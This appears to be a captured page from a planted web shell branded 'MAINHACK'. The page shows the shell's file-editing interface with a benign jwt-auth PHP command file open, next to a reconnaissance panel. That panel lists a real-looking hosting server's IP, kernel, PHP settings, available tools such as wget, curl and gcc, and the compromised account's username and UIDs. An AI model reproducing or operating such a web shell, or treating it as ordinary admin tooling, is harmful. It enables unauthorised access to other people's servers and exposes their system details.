[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: JWTGenerateSecretCommand.php
<?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Console; use Illuminate\Console\Command; use Illuminate\Support\Str; class JWTGenerateSecretCommand extends Command { /** * The console command signature. * * @var string */ protected $signature = 'jwt:secret {--s|show : Display the key instead of modifying files.} {--always-no : Skip generating key if it already exists.} {--f|force : Skip confirmation when overwriting an existing key.}'; /** * The console command description. * * @var string */ protected $description = 'Set the JWTAuth secret key used to sign the tokens'; /** * Execute the console command. * * @return void */ public function handle() { $key = Str::random(64); if ($this->option('show')) { $this->comment($key); return; } if (file_exists($path = $this->envPath()) === false) { return $this->displayKey($key); } if (Str::contains(file_get_contents($path), 'JWT_SECRET') === false) { // create new entry file_put_contents($path, PHP_EOL."JWT_SECRET=$key".PHP_EOL, FILE_APPEND); } else { if ($this->option('always-no')) { $this->comment('Secret key already exists. Skipping...'); return; } if ($this->isConfirmed() === false) { $this->comment('Phew... No changes were made to your secret key.'); return; } // update existing entry file_put_contents($path, str_replace( 'JWT_SECRET='.$this->laravel['config']['jwt.secret'], 'JWT_SECRET='.$key, file_get_contents($path) )); } $this->displayKey($key); } /** * Display the key. * * @param string $key * @return void */ protected function displayKey($key) { $this->laravel['config']['jwt.secret'] = $key; $this->info("jwt-auth secret [$key] set successfully."); } /** * Check if the modification is confirmed. * * @return bool */ protected function isConfirmed() { return $this->option('force') ? true : $this->confirm( 'This will invalidate all existing tokens. Are you sure you want to override the secret key?' ); } /** * Get the .env file path. * * @return string */ protected function envPath() { if (method_exists($this->laravel, 'environmentFilePath')) { return $this->laravel->environmentFilePath(); } // check if laravel version Less than 5.4.17 if (version_compare($this->laravel->version(), '5.4.17', '<')) { return $this->laravel->basePath().DIRECTORY_SEPARATOR.'.env'; } return $this->laravel->basePath('.env'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285